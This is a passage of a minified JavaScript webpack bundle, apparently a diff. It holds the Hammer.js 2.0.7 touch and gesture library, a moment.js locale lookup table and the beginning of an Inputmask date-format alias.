i.timeStamp, + r, a, s, l; + if (t.eventType != X && (n > $ || i.velocity === o)) { + var u = t.deltaX - i.deltaX; + var d = t.deltaY - i.deltaY; + var f = me(n, u, d); + a = f.x; + s = f.y; + r = c(f.x) > c(f.y) ? f.x : f.y; + l = pe(u, d); + e.lastInterval = t + } else { + r = i.velocity; + a = i.velocityX; + s = i.velocityY; + l = i.direction + } + t.velocity = r; + t.velocityX = a; + t.velocityY = s; + t.direction = l + } + + function ce(e) { + var t = []; + var i = 0; + while (i < e.pointers.length) { + t[i] = { + clientX: f(e.pointers[i].clientX), + clientY: f(e.pointers[i].clientY) + }; + i++ + } + return { + timeStamp: h(), + pointers: t, + center: he(t), + deltaX: e.deltaX, + deltaY: e.deltaY + } + } + + function he(e) { + var t = e.length; + if (t === 1) { + return { + x: f(e[0].clientX), + y: f(e[0].clientY) + } + } + var i = 0, + n = 0, + r = 0; + while (r < t) { + i += e[r].clientX; + n += e[r].clientY; + r++ + } + return { + x: f(i / t), + y: f(n / t) + } + } + + function me(e, t, i) { + return { + x: t / e || 0, + y: i / e || 0 + } + } + + function pe(e, t) { + if (e === t) { + return J + } + if (c(e) >= c(t)) { + return e < 0 ? K : Q + } + return t < 0 ? Z : ee + } + + function ve(e, t, i) { + if (!i) { + i = re + } + var n = t[i[0]] - e[i[0]], + r = t[i[1]] - e[i[1]]; + return Math.sqrt(n * n + r * r) + } + + function _e(e, t, i) { + if (!i) { + i = re + } + var n = t[i[0]] - e[i[0]], + r = t[i[1]] - e[i[1]]; + return Math.atan2(r, n) * 180 / Math.PI + } + + function ge(e, t) { + return _e(t[1], t[0], ae) + _e(e[1], e[0], ae) + } + + function ye(e, t) { + return ve(t[0], t[1], ae) / ve(e[0], e[1], ae) + } + var be = { + mousedown: V, + mousemove: G, + mouseup: U + }; + var we = "mousedown"; + var Me = "mousemove mouseup"; + + function ke() { + this.evEl = we; + this.evWin = Me; + this.pressed = false; + se.apply(this, arguments) + } + w(ke, se, { + handler: function e(t) { + var i = be[t.type]; + if (i & V && t.button === 0) { + this.pressed = true + } + if (i & G && t.which !== 1) { + i = U + } + if (!this.pressed) { + return + } + if (i & U) { + this.pressed = false + } + this.callback(this.manager, i, { + pointers: [t], + changedPointers: [t], + pointerType: B, + srcEvent: t + }) + } + }); + var Le = { + pointerdown: V, + pointermove: G, + pointerup: U, + pointercancel: X, + pointerout: X + }; + var Te = { + 2: N, + 3: W, + 4: B, + 5: q + }; + var xe = "pointerdown"; + var Se = "pointermove pointerup pointercancel"; + if (r.MSPointerEvent && !r.PointerEvent) { + xe = "MSPointerDown"; + Se = "MSPointerMove MSPointerUp MSPointerCancel" + } + + function Ye() { + this.evEl = xe; + this.evWin = Se; + se.apply(this, arguments); + this.store = this.manager.session.pointerEvents = [] + } + w(Ye, se, { + handler: function e(t) { + var i = this.store; + var n = false; + var r = t.type.toLowerCase().replace("ms", ""); + var a = Le[r]; + var s = Te[t.pointerType] || t.pointerType; + var o = s == N; + var l = E(i, t.pointerId, "pointerId"); + if (a & V && (t.button === 0 || o)) { + if (l < 0) { + i.push(t); + l = i.length - 1 + } + } else if (a & (U | X)) { + n = true + } + if (l < 0) { + return + } + i[l] = t; + this.callback(this.manager, a, { + pointers: i, + changedPointers: [t], + pointerType: s, + srcEvent: t + }); + if (n) { + i.splice(l, 1) + } + } + }); + var De = { + touchstart: V, + touchmove: G, + touchend: U, + touchcancel: X + }; + var Ee = "touchstart"; + var Ce = "touchstart touchmove touchend touchcancel"; + + function Pe() { + this.evTarget = Ee; + this.evWin = Ce; + this.started = false; + se.apply(this, arguments) + } + w(Pe, se, { + handler: function e(t) { + var i = De[t.type]; + if (i === V) { + this.started = true + } + if (!this.started) { + return + } + var n = Ae.call(this, t, i); + if (i & (U | X) && n[0].length - n[1].length === 0) { + this.started = false + } + this.callback(this.manager, i, { + pointers: n[0], + changedPointers: n[1], + pointerType: N, + srcEvent: t + }) + } + }); + + function Ae(e, t) { + var i = C(e.touches); + var n = C(e.changedTouches); + if (t & (U | X)) { + i = P(i.concat(n), "identifier", true) + } + return [i, n] + } + var Oe = { + touchstart: V, + touchmove: G, + touchend: U, + touchcancel: X + }; + var je = "touchstart touchmove touchend touchcancel"; + + function He() { + this.evTarget = je; + this.targetIds = {}; + se.apply(this, arguments) + } + w(He, se, { + handler: function e(t) { + var i = Oe[t.type]; + var n = Ie.call(this, t, i); + if (!n) { + return + } + this.callback(this.manager, i, { + pointers: n[0], + changedPointers: n[1], + pointerType: N, + srcEvent: t + }) + } + }); + + function Ie(e, t) { + var i = C(e.touches); + var n = this.targetIds; + if (t & (V | G) && i.length === 1) { + n[i[0].identifier] = true; + return [i, i] + } + var r, a, s = C(e.changedTouches), + o = [], + l = this.target; + a = i.filter(function (e) { + return S(e.target, l) + }); + if (t === V) { + r = 0; + while (r < a.length) { + n[a[r].identifier] = true; + r++ + } + } + r = 0; + while (r < s.length) { + if (n[s[r].identifier]) { + o.push(s[r]) + } + if (t & (U | X)) { + delete n[s[r].identifier] + } + r++ + } + if (!o.length) { + return + } + return [P(a.concat(o), "identifier", true), o] + } + var Fe = 2500; + var ze = 25; + + function Re() { + se.apply(this, arguments); + var e = M(this.handler, this); + this.touch = new He(this.manager, e); + this.mouse = new ke(this.manager, e); + this.primaryTouch = null; + this.lastTouches = [] + } + w(Re, se, { + handler: function e(t, i, n) { + var r = n.pointerType == N, + a = n.pointerType == B; + if (a && n.sourceCapabilities && n.sourceCapabilities.firesTouchEvents) { + return + } + if (r) { + Ne.call(this, i, n) + } else if (a && Be.call(this, n)) { + return + } + this.callback(t, i, n) + }, + destroy: function e() { + this.touch.destroy(); + this.mouse.destroy() + } + }); + + function Ne(e, t) { + if (e & V) { + this.primaryTouch = t.changedPointers[0].identifier; + We.call(this, t) + } else if (e & (U | X)) { + We.call(this, t) + } + } + + function We(e) { + var t = e.changedPointers[0]; + if (t.identifier === this.primaryTouch) { + var i = { + x: t.clientX, + y: t.clientY + }; + this.lastTouches.push(i); + var n = this.lastTouches; + var r = function () { + var e = n.indexOf(i); + if (e > -1) { + n.splice(e, 1) + } + }; + setTimeout(r, Fe) + } + } + + function Be(e) { + var t = e.srcEvent.clientX, + i = e.srcEvent.clientY; + for (var n = 0; n < this.lastTouches.length; n++) { + var r = this.lastTouches[n]; + var a = Math.abs(t - r.x), + s = Math.abs(i - r.y); + if (a <= ze && s <= ze) { + return true + } + } + return false + } + var qe = A(u.style, "touchAction"); + var $e = qe !== o; + var Ve = "compute"; + var Ge = "auto"; + var Ue = "manipulation"; + var Xe = "none"; + var Je = "pan-x"; + var Ke = "pan-y"; + var Qe = tt(); + + function Ze(e, t) { + this.manager = e; + this.set(t) + } + Ze.prototype = { + set: function (e) { + if (e == Ve) { + e = this.compute() + } + if ($e && this.manager.element.style && Qe[e]) { + this.manager.element.style[qe] = e + } + this.actions = e.toLowerCase().trim() + }, + update: function () { + this.set(this.manager.options.touchAction) + }, + compute: function () { + var e = []; + v(this.manager.recognizers, function (t) { + if (k(t.options.enable, [t])) { + e = e.concat(t.getTouchAction()) + } + }); + return et(e.join(" ")) + }, + preventDefaults: function (e) { + var t = e.srcEvent; + var i = e.offsetDirection; + if (this.manager.session.prevented) { + t.preventDefault(); + return + } + var n = this.actions; + var r = Y(n, Xe) && !Qe[Xe]; + var a = Y(n, Ke) && !Qe[Ke]; + var s = Y(n, Je) && !Qe[Je]; + if (r) { + var o = e.pointers.length === 1; + var l = e.distance < 2; + var u = e.deltaTime < 250; + if (o && l && u) { + return + } + } + if (s && a) { + return + } + if (r || a && i & te || s && i & ie) { + return this.preventSrc(t) + } + }, + preventSrc: function (e) { + this.manager.session.prevented = true; + e.preventDefault() + } + }; + + function et(e) { + if (Y(e, Xe)) { + return Xe + } + var t = Y(e, Je); + var i = Y(e, Ke); + if (t && i) { + return Xe + } + if (t || i) { + return t ? Je : Ke + } + if (Y(e, Ue)) { + return Ue + } + return Ge + } + + function tt() { + if (!$e) { + return false + } + var e = {}; + var t = r.CSS && r.CSS.supports; + ["auto", "manipulation", "pan-y", "pan-x", "pan-x pan-y", "none"].forEach(function (i) { + e[i] = t ? r.CSS.supports("touch-action", i) : true + }); + return e + } + var it = 1; + var nt = 2; + var rt = 4; + var at = 8; + var st = at; + var ot = 16; + var lt = 32; + + function ut(e) { + this.options = g({}, this.defaults, e || {}); + this.id = j(); + this.manager = null; + this.options.enable = L(this.options.enable, true); + this.state = it; + this.simultaneous = {}; + this.requireFail = [] + } + ut.prototype = { + defaults: {}, + set: function (e) { + g(this.options, e); + this.manager && this.manager.touchAction.update(); + return this + }, + recognizeWith: function (e) { + if (p(e, "recognizeWith", this)) { + return this + } + var t = this.simultaneous; + e = ct(e, this); + if (!t[e.id]) { + t[e.id] = e; + e.recognizeWith(this) + } + return this + }, + dropRecognizeWith: function (e) { + if (p(e, "dropRecognizeWith", this)) { + return this + } + e = ct(e, this); + delete this.simultaneous[e.id]; + return this + }, + requireFailure: function (e) { + if (p(e, "requireFailure", this)) { + return this + } + var t = this.requireFail; + e = ct(e, this); + if (E(t, e) === -1) { + t.push(e); + e.requireFailure(this) + } + return this + }, + dropRequireFailure: function (e) { + if (p(e, "dropRequireFailure", this)) { + return this + } + e = ct(e, this); + var t = E(this.requireFail, e); + if (t > -1) { + this.requireFail.splice(t, 1) + } + return this + }, + hasRequireFailures: function () { + return this.requireFail.length > 0 + }, + canRecognizeWith: function (e) { + return !!this.simultaneous[e.id] + }, + emit: function (e) { + var t = this; + var i = this.state; + + function n(i) { + t.manager.emit(i, e) + } + if (i < at) { + n(t.options.event + dt(i)) + } + n(t.options.event); + if (e.additionalEvent) { + n(e.additionalEvent) + } + if (i >= at) { + n(t.options.event + dt(i)) + } + }, + tryEmit: function (e) { + if (this.canEmit()) { + return this.emit(e) + } + this.state = lt + }, + canEmit: function () { + var e = 0; + while (e < this.requireFail.length) { + if (!(this.requireFail[e].state & (lt | it))) { + return false + } + e++ + } + return true + }, + recognize: function (e) { + var t = g({}, e); + if (!k(this.options.enable, [this, t])) { + this.reset(); + this.state = lt; + return + } + if (this.state & (st | ot | lt)) { + this.state = it + } + this.state = this.process(t); + if (this.state & (nt | rt | at | ot)) { + this.tryEmit(t) + } + }, + process: function (e) {}, + getTouchAction: function () {}, + reset: function () {} + }; + + function dt(e) { + if (e & ot) { + return "cancel" + } else if (e & at) { + return "end" + } else if (e & rt) { + return "move" + } else if (e & nt) { + return "start" + } + return "" + } + + function ft(e) { + if (e == ee) { + return "down" + } else if (e == Z) { + return "up" + } else if (e == K) { + return "left" + } else if (e == Q) { + return "right" + } + return "" + } + + function ct(e, t) { + var i = t.manager; + if (i) { + return i.get(e) + } + return e + } + + function ht() { + ut.apply(this, arguments) + } + w(ht, ut, { + defaults: { + pointers: 1 + }, + attrTest: function (e) { + var t = this.options.pointers; + return t === 0 || e.pointers.length === t + }, + process: function (e) { + var t = this.state; + var i = e.eventType; + var n = t & (nt | rt); + var r = this.attrTest(e); + if (n && (i & X || !r)) { + return t | ot + } else if (n || r) { + if (i & U) { + return t | at + } else if (!(t & nt)) { + return nt + } + return t | rt + } + return lt + } + }); + + function mt() { + ht.apply(this, arguments); + this.pX = null; + this.pY = null + } + w(mt, ht, { + defaults: { + event: "pan", + threshold: 10, + pointers: 1, + direction: ne + }, + getTouchAction: function () { + var e = this.options.direction; + var t = []; + if (e & te) { + t.push(Ke) + } + if (e & ie) { + t.push(Je) + } + return t + }, + directionTest: function (e) { + var t = this.options; + var i = true; + var n = e.distance; + var r = e.direction; + var a = e.deltaX; + var s = e.deltaY; + if (!(r & t.direction)) { + if (t.direction & te) { + r = a === 0 ? J : a < 0 ? K : Q; + i = a != this.pX; + n = Math.abs(e.deltaX) + } else { + r = s === 0 ? J : s < 0 ? Z : ee; + i = s != this.pY; + n = Math.abs(e.deltaY) + } + } + e.direction = r; + return i && n > t.threshold && r & t.direction + }, + attrTest: function (e) { + return ht.prototype.attrTest.call(this, e) && (this.state & nt || !(this.state & nt) && this.directionTest(e)) + }, + emit: function (e) { + this.pX = e.deltaX; + this.pY = e.deltaY; + var t = ft(e.direction); + if (t) { + e.additionalEvent = this.options.event + t + } + this._super.emit.call(this, e) + } + }); + + function pt() { + ht.apply(this, arguments) + } + w(pt, ht, { + defaults: { + event: "pinch", + threshold: 0, + pointers: 2 + }, + getTouchAction: function () { + return [Xe] + }, + attrTest: function (e) { + return this._super.attrTest.call(this, e) && (Math.abs(e.scale - 1) > this.options.threshold || this.state & nt) + }, + emit: function (e) { + if (e.scale !== 1) { + var t = e.scale < 1 ? "in" : "out"; + e.additionalEvent = this.options.event + t + } + this._super.emit.call(this, e) + } + }); + + function vt() { + ut.apply(this, arguments); + this._timer = null; + this._input = null + } + w(vt, ut, { + defaults: { + event: "press", + pointers: 1, + time: 251, + threshold: 9 + }, + getTouchAction: function () { + return [Ge] + }, + process: function (e) { + var t = this.options; + var i = e.pointers.length === t.pointers; + var n = e.distance < t.threshold; + var r = e.deltaTime > t.time; + this._input = e; + if (!n || !i || e.eventType & (U | X) && !r) { + this.reset() + } else if (e.eventType & V) { + this.reset(); + this._timer = m(function () { + this.state = st; + this.tryEmit() + }, t.time, this) + } else if (e.eventType & U) { + return st + } + return lt + }, + reset: function () { + clearTimeout(this._timer) + }, + emit: function (e) { + if (this.state !== st) { + return + } + if (e && e.eventType & U) { + this.manager.emit(this.options.event + "up", e) + } else { + this._input.timeStamp = h(); + this.manager.emit(this.options.event, this._input) + } + } + }); + + function _t() { + ht.apply(this, arguments) + } + w(_t, ht, { + defaults: { + event: "rotate", + threshold: 0, + pointers: 2 + }, + getTouchAction: function () { + return [Xe] + }, + attrTest: function (e) { + return this._super.attrTest.call(this, e) && (Math.abs(e.rotation) > this.options.threshold || this.state & nt) + } + }); + + function gt() { + ht.apply(this, arguments) + } + w(gt, ht, { + defaults: { + event: "swipe", + threshold: 10, + velocity: .3, + direction: te | ie, + pointers: 1 + }, + getTouchAction: function () { + return mt.prototype.getTouchAction.call(this) + }, + attrTest: function (e) { + var t = this.options.direction; + var i; + if (t & (te | ie)) { + i = e.overallVelocity + } else if (t & te) { + i = e.overallVelocityX + } else if (t & ie) { + i = e.overallVelocityY + } + return this._super.attrTest.call(this, e) && t & e.offsetDirection && e.distance > this.options.threshold && e.maxPointers == this.options.pointers && c(i) > this.options.velocity && e.eventType & U + }, + emit: function (e) { + var t = ft(e.offsetDirection); + if (t) { + this.manager.emit(this.options.event + t, e) + } + this.manager.emit(this.options.event, e) + } + }); + + function yt() { + ut.apply(this, arguments); + this.pTime = false; + this.pCenter = false; + this._timer = null; + this._input = null; + this.count = 0 + } + w(yt, ut, { + defaults: { + event: "tap", + pointers: 1, + taps: 1, + interval: 300, + time: 250, + threshold: 9, + posThreshold: 10 + }, + getTouchAction: function () { + return [Ue] + }, + process: function (e) { + var t = this.options; + var i = e.pointers.length === t.pointers; + var n = e.distance < t.threshold; + var r = e.deltaTime < t.time; + this.reset(); + if (e.eventType & V && this.count === 0) { + return this.failTimeout() + } + if (n && r && i) { + if (e.eventType != U) { + return this.failTimeout() + } + var a = this.pTime ? e.timeStamp - this.pTime < t.interval : true; + var s = !this.pCenter || ve(this.pCenter, e.center) < t.posThreshold; + this.pTime = e.timeStamp; + this.pCenter = e.center; + if (!s || !a) { + this.count = 1 + } else { + this.count += 1 + } + this._input = e; + var o = this.count % t.taps; + if (o === 0) { + if (!this.hasRequireFailures()) { + return st + } else { + this._timer = m(function () { + this.state = st; + this.tryEmit() + }, t.interval, this); + return nt + } + } + } + return lt + }, + failTimeout: function () { + this._timer = m(function () { + this.state = lt + }, this.options.interval, this); + return lt + }, + reset: function () { + clearTimeout(this._timer) + }, + emit: function () { + if (this.state == st) { + this._input.tapCount = this.count; + this.manager.emit(this.options.event, this._input) + } + } + }); + + function bt(e, t) { + t = t || {}; + t.recognizers = L(t.recognizers, bt.defaults.preset); + return new kt(e, t) + } + bt.VERSION = "2.0.7"; + bt.defaults = { + domEvents: false, + touchAction: Ve, + enable: true, + inputTarget: null, + inputClass: null, + preset: [ + [_t, { + enable: false + }], + [pt, { + enable: false + }, + ["rotate"] + ], + [gt, { + direction: te + }], + [mt, { + direction: te + }, + ["swipe"] + ], + [yt], + [yt, { + event: "doubletap", + taps: 2 + }, + ["tap"] + ], + [vt] + ], + cssProps: { + userSelect: "none", + touchSelect: "none", + touchCallout: "none", + contentZooming: "none", + userDrag: "none", + tapHighlightColor: "rgba(0,0,0,0)" + } + }; + var wt = 1; + var Mt = 2; + + function kt(e, t) { + this.options = g({}, bt.defaults, t || {}); + this.options.inputTarget = this.options.inputTarget || e; + this.handlers = {}; + this.session = {}; + this.recognizers = []; + this.oldCssProps = {}; + this.element = e; + this.input = oe(this); + this.touchAction = new Ze(this, this.options.touchAction); + Lt(this, true); + v(this.options.recognizers, function (e) { + var t = this.add(new e[0](e[1])); + e[2] && t.recognizeWith(e[2]); + e[3] && t.requireFailure(e[3]) + }, this) + } + kt.prototype = { + set: function (e) { + g(this.options, e); + if (e.touchAction) { + this.touchAction.update() + } + if (e.inputTarget) { + this.input.destroy(); + this.input.target = e.inputTarget; + this.input.init() + } + return this + }, + stop: function (e) { + this.session.stopped = e ? Mt : wt + }, + recognize: function (e) { + var t = this.session; + if (t.stopped) { + return + } + this.touchAction.preventDefaults(e); + var i; + var n = this.recognizers; + var r = t.curRecognizer; + if (!r || r && r.state & st) { + r = t.curRecognizer = null + } + var a = 0; + while (a < n.length) { + i = n[a]; + if (t.stopped !== Mt && (!r || i == r || i.canRecognizeWith(r))) { + i.recognize(e) + } else { + i.reset() + } + if (!r && i.state & (nt | rt | at)) { + r = t.curRecognizer = i + } + a++ + } + }, + get: function (e) { + if (e instanceof ut) { + return e + } + var t = this.recognizers; + for (var i = 0; i < t.length; i++) { + if (t[i].options.event == e) { + return t[i] + } + } + return null + }, + add: function (e) { + if (p(e, "add", this)) { + return this + } + var t = this.get(e.options.event); + if (t) { + this.remove(t) + } + this.recognizers.push(e); + e.manager = this; + this.touchAction.update(); + return e + }, + remove: function (e) { + if (p(e, "remove", this)) { + return this + } + e = this.get(e); + if (e) { + var t = this.recognizers; + var i = E(t, e); + if (i !== -1) { + t.splice(i, 1); + this.touchAction.update() + } + } + return this + }, + on: function (e, t) { + if (e === o) { + return + } + if (t === o) { + return + } + var i = this.handlers; + v(D(e), function (e) { + i[e] = i[e] || []; + i[e].push(t) + }); + return this + }, + off: function (e, t) { + if (e === o) { + return + } + var i = this.handlers; + v(D(e), function (e) { + if (!t) { + delete i[e] + } else { + i[e] && i[e].splice(E(i[e], t), 1) + } + }); + return this + }, + emit: function (e, t) { + if (this.options.domEvents) { + Tt(e, t) + } + var i = this.handlers[e] && this.handlers[e].slice(); + if (!i || !i.length) { + return + } + t.type = e; + t.preventDefault = function () { + t.srcEvent.preventDefault() + }; + var n = 0; + while (n < i.length) { + i[n](t); + n++ + } + }, + destroy: function () { + this.element && Lt(this, false); + this.handlers = {}; + this.session = {}; + this.input.destroy(); + this.element = null + } + }; + + function Lt(e, t) { + var i = e.element; + if (!i.style) { + return + } + var n; + v(e.options.cssProps, function (r, a) { + n = A(i.style, a); + if (t) { + e.oldCssProps[n] = i.style[n]; + i.style[n] = r + } else { + i.style[n] = e.oldCssProps[n] || "" + } + }); + if (!t) { + e.oldCssProps = {} + } + } + + function Tt(e, t) { + var i = a.createEvent("Event"); + i.initEvent(e, true, true); + i.gesture = t; + t.target.dispatchEvent(i) + } + g(bt, { + INPUT_START: V, + INPUT_MOVE: G, + INPUT_END: U, + INPUT_CANCEL: X, + STATE_POSSIBLE: it, + STATE_BEGAN: nt, + STATE_CHANGED: rt, + STATE_ENDED: at, + STATE_RECOGNIZED: st, + STATE_CANCELLED: ot, + STATE_FAILED: lt, + DIRECTION_NONE: J, + DIRECTION_LEFT: K, + DIRECTION_RIGHT: Q, + DIRECTION_UP: Z, + DIRECTION_DOWN: ee, + DIRECTION_HORIZONTAL: te, + DIRECTION_VERTICAL: ie, + DIRECTION_ALL: ne, + Manager: kt, + Input: se, + TouchAction: Ze, + TouchInput: He, + MouseInput: ke, + PointerEventInput: Ye, + TouchMouseInput: Re, + SingleTouchInput: Pe, + Recognizer: ut, + AttrRecognizer: ht, + Tap: yt, + Pan: mt, + Swipe: gt, + Pinch: pt, + Rotate: _t, + Press: vt, + on: T, + off: x, + each: v, + merge: b, + extend: y, + assign: g, + inherit: w, + bindFn: M, + prefixed: A + }); + var xt = typeof r !== "undefined" ? r : typeof self !== "undefined" ? self : {}; + xt.Hammer = bt; + if (true) { + !(n = function () { + return bt + }.call(t, i, t, e), n !== o && (e.exports = n)) + } else if (typeof e != "undefined" && e.exports) { + e.exports = bt + } else { + r[s] = bt + } + })(window, document, "Hammer") +}, function (e, t) { + e.exports = function (e) { + if (!e.webpackPolyfill) { + e.deprecate = function () {}; + e.paths = []; + if (!e.children) e.children = []; + Object.defineProperty(e, "loaded", { + enumerable: true, + get: function () { + return e.l + } + }); + Object.defineProperty(e, "id", { + enumerable: true, + get: function () { + return e.i + } + }); + e.webpackPolyfill = 1 + } + return e + } +}, function (e, t, i) { + var n = { + "./af": 7, + "./af.js": 7, + "./ar": 8, + "./ar-dz": 9, + "./ar-dz.js": 9, + "./ar-kw": 10, + "./ar-kw.js": 10, + "./ar-ly": 11, + "./ar-ly.js": 11, + "./ar-ma": 12, + "./ar-ma.js": 12, + "./ar-sa": 13, + "./ar-sa.js": 13, + "./ar-tn": 14, + "./ar-tn.js": 14, + "./ar.js": 8, + "./az": 15, + "./az.js": 15, + "./be": 16, + "./be.js": 16, + "./bg": 17, + "./bg.js": 17, + "./bm": 18, + "./bm.js": 18, + "./bn": 19, + "./bn.js": 19, + "./bo": 20, + "./bo.js": 20, + "./br": 21, + "./br.js": 21, + "./bs": 22, + "./bs.js": 22, + "./ca": 23, + "./ca.js": 23, + "./cs": 24, + "./cs.js": 24, + "./cv": 25, + "./cv.js": 25, + "./cy": 26, + "./cy.js": 26, + "./da": 27, + "./da.js": 27, + "./de": 28, + "./de-at": 29, + "./de-at.js": 29, + "./de-ch": 30, + "./de-ch.js": 30, + "./de.js": 28, + "./dv": 31, + "./dv.js": 31, + "./el": 32, + "./el.js": 32, + "./en-SG": 33, + "./en-SG.js": 33, + "./en-au": 34, + "./en-au.js": 34, + "./en-ca": 35, + "./en-ca.js": 35, + "./en-gb": 36, + "./en-gb.js": 36, + "./en-ie": 37, + "./en-ie.js": 37, + "./en-il": 38, + "./en-il.js": 38, + "./en-nz": 39, + "./en-nz.js": 39, + "./eo": 40, + "./eo.js": 40, + "./es": 41, + "./es-do": 42, + "./es-do.js": 42, + "./es-us": 43, + "./es-us.js": 43, + "./es.js": 41, + "./et": 44, + "./et.js": 44, + "./eu": 45, + "./eu.js": 45, + "./fa": 46, + "./fa.js": 46, + "./fi": 47, + "./fi.js": 47, + "./fo": 48, + "./fo.js": 48, + "./fr": 49, + "./fr-ca": 50, + "./fr-ca.js": 50, + "./fr-ch": 51, + "./fr-ch.js": 51, + "./fr.js": 49, + "./fy": 52, + "./fy.js": 52, + "./ga": 53, + "./ga.js": 53, + "./gd": 54, + "./gd.js": 54, + "./gl": 55, + "./gl.js": 55, + "./gom-latn": 56, + "./gom-latn.js": 56, + "./gu": 57, + "./gu.js": 57, + "./he": 58, + "./he.js": 58, + "./hi": 59, + "./hi.js": 59, + "./hr": 60, + "./hr.js": 60, + "./hu": 61, + "./hu.js": 61, + "./hy-am": 62, + "./hy-am.js": 62, + "./id": 63, + "./id.js": 63, + "./is": 64, + "./is.js": 64, + "./it": 65, + "./it-ch": 66, + "./it-ch.js": 66, + "./it.js": 65, + "./ja": 67, + "./ja.js": 67, + "./jv": 68, + "./jv.js": 68, + "./ka": 69, + "./ka.js": 69, + "./kk": 70, + "./kk.js": 70, + "./km": 71, + "./km.js": 71, + "./kn": 72, + "./kn.js": 72, + "./ko": 73, + "./ko.js": 73, + "./ku": 74, + "./ku.js": 74, + "./ky": 75, + "./ky.js": 75, + "./lb": 76, + "./lb.js": 76, + "./lo": 77, + "./lo.js": 77, + "./lt": 78, + "./lt.js": 78, + "./lv": 79, + "./lv.js": 79, + "./me": 80, + "./me.js": 80, + "./mi": 81, + "./mi.js": 81, + "./mk": 82, + "./mk.js": 82, + "./ml": 83, + "./ml.js": 83, + "./mn": 84, + "./mn.js": 84, + "./mr": 85, + "./mr.js": 85, + "./ms": 86, + "./ms-my": 87, + "./ms-my.js": 87, + "./ms.js": 86, + "./mt": 88, + "./mt.js": 88, + "./my": 89, + "./my.js": 89, + "./nb": 90, + "./nb.js": 90, + "./ne": 91, + "./ne.js": 91, + "./nl": 92, + "./nl-be": 93, + "./nl-be.js": 93, + "./nl.js": 92, + "./nn": 94, + "./nn.js": 94, + "./pa-in": 95, + "./pa-in.js": 95, + "./pl": 96, + "./pl.js": 96, + "./pt": 97, + "./pt-br": 98, + "./pt-br.js": 98, + "./pt.js": 97, + "./ro": 99, + "./ro.js": 99, + "./ru": 100, + "./ru.js": 100, + "./sd": 101, + "./sd.js": 101, + "./se": 102, + "./se.js": 102, + "./si": 103, + "./si.js": 103, + "./sk": 104, + "./sk.js": 104, + "./sl": 105, + "./sl.js": 105, + "./sq": 106, + "./sq.js": 106, + "./sr": 107, + "./sr-cyrl": 108, + "./sr-cyrl.js": 108, + "./sr.js": 107, + "./ss": 109, + "./ss.js": 109, + "./sv": 110, + "./sv.js": 110, + "./sw": 111, + "./sw.js": 111, + "./ta": 112, + "./ta.js": 112, + "./te": 113, + "./te.js": 113, + "./tet": 114, + "./tet.js": 114, + "./tg": 115, + "./tg.js": 115, + "./th": 116, + "./th.js": 116, + "./tl-ph": 117, + "./tl-ph.js": 117, + "./tlh": 118, + "./tlh.js": 118, + "./tr": 119, + "./tr.js": 119, + "./tzl": 120, + "./tzl.js": 120, + "./tzm": 121, + "./tzm-latn": 122, + "./tzm-latn.js": 122, + "./tzm.js": 121, + "./ug-cn": 123, + "./ug-cn.js": 123, + "./uk": 124, + "./uk.js": 124, + "./ur": 125, + "./ur.js": 125, + "./uz": 126, + "./uz-latn": 127, + "./uz-latn.js": 127, + "./uz.js": 126, + "./vi": 128, + "./vi.js": 128, + "./x-pseudo": 129, + "./x-pseudo.js": 129, + "./yo": 130, + "./yo.js": 130, + "./zh-cn": 131, + "./zh-cn.js": 131, + "./zh-hk": 132, + "./zh-hk.js": 132, + "./zh-tw": 133, + "./zh-tw.js": 133 + }; + + function r(e) { + return i(a(e)) + } + + function a(e) { + var t = n[e]; + if (!(t + 1)) throw new Error("Cannot find module '" + e + "'."); + return t + } + r.keys = function e() { + return Object.keys(n) + }; + r.resolve = a; + e.exports = r; + r.id = 151 +}, function (e, t, i) { + i(153); + i(154); + i(155); + i(156); + e.exports = i(2) +}, function (e, t, i) { + var n, r, a; + ! function (s) { + true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) + }(function (e, t) { + function i(e) { + return isNaN(e) || 29 === new Date(e, 2, 0).getDate() + } + return t.extendAliases({ + "dd/mm/yyyy": { + mask: "1/2/y", + placeholder: "dd/mm/yyyy", + regex: { + val1pre: new RegExp("[0-3]"), + val1: new RegExp("0[1-9]|[12][0-9]|3[01]"), + val2pre: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|[12][0-9]|3[01])" + i + "[01])") + }, + val2: function (e) { + var i = t.escapeRegex.call(this, e); + return new RegExp("((0[1-9]|[12][0-9])" + i + "(0[1-9]|1[012]))|(30" + i + "(0[13-9]|1[012]))|(31" + i + "(0[13578]|1[02]))") + } + }, + leapday: "29/02/", + separator: "/", + yearrange: { + minyear: 1900, + maxyear: 2099 + }, + isInYearRange: function (e, t, i) { + if (isNaN(e)) return !1; + var n = parseInt(e.concat(t.toString().slice(e.length))), + r = parseInt(e.concat(i.toString().slice(e.length))); + return !isNaN(n) && (t <= n && n <= i) || !isNaN(r) && (t <= r && r <= i) + }, + determinebaseyear: function (e, t, i) { + var n = (new Date).getFullYear(); + if (e > n) return e; + if (t < n) { + for (var r = t.toString().slice(0, 2), a = t.toString().slice(2, 4); t < r + i;) r--; + var s = r + a; + return e > s ? e : s + } + if (e <= n && n <= t) { + for (var o = n.toString().slice(0, 2); t < o + i;) o--; + var l = o + i; + return l < e ? e : l + } + return n + }, + onKeyDown: function (i, n, r, a) { + var s = e(this); + if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { + var o = new Date; + s.val(o.getDate().toString() + (o.getMonth() + 1).toString() + o.getFullYear().toString()), s.trigger("setvalue") + } + }, + getFrontValue: function (e, t, i) { + for (var n = 0, r = 0, a = 0; a < e.length && "2" !== e.charAt(a); a++) { + var s = i.definitions[e.charAt(a)]; + s ? (n += r, r = s.cardinality) : r++ + } + return t.join("").substr(n, r) + }, + postValidation: function (e, t, n) { + var r, a, s = e.join(""); + return 0 === n.mask.indexOf("y") ? (a = s.substr(0, 4), r = s.substring(4, 10)) : (a = s.substring(6, 10), r = s.substr(0, 6)), t && (r !== n.leapday || i(a)) + }, + definitions: { + 1: { + validator: function (e, t, i, n, r) { + var a = r.regex.val1.test(e); + return n || a || e.charAt(1) !== r.separator && -1 === "-./".indexOf(e.charAt(1)) || !(a = r.regex.val1.test("0" + e.charAt(0))) ? a : (t.buffer[i - 1] = "0", { + refreshFromBuffer: { + start: i - 1, + end: i + }, + pos: i, + c: e.charAt(0) + }) + }, + cardinality: 2, + prevalidator: [{ + validator: function (e, t, i, n, r) { + var a = e; + isNaN(t.buffer[i + 1]) || 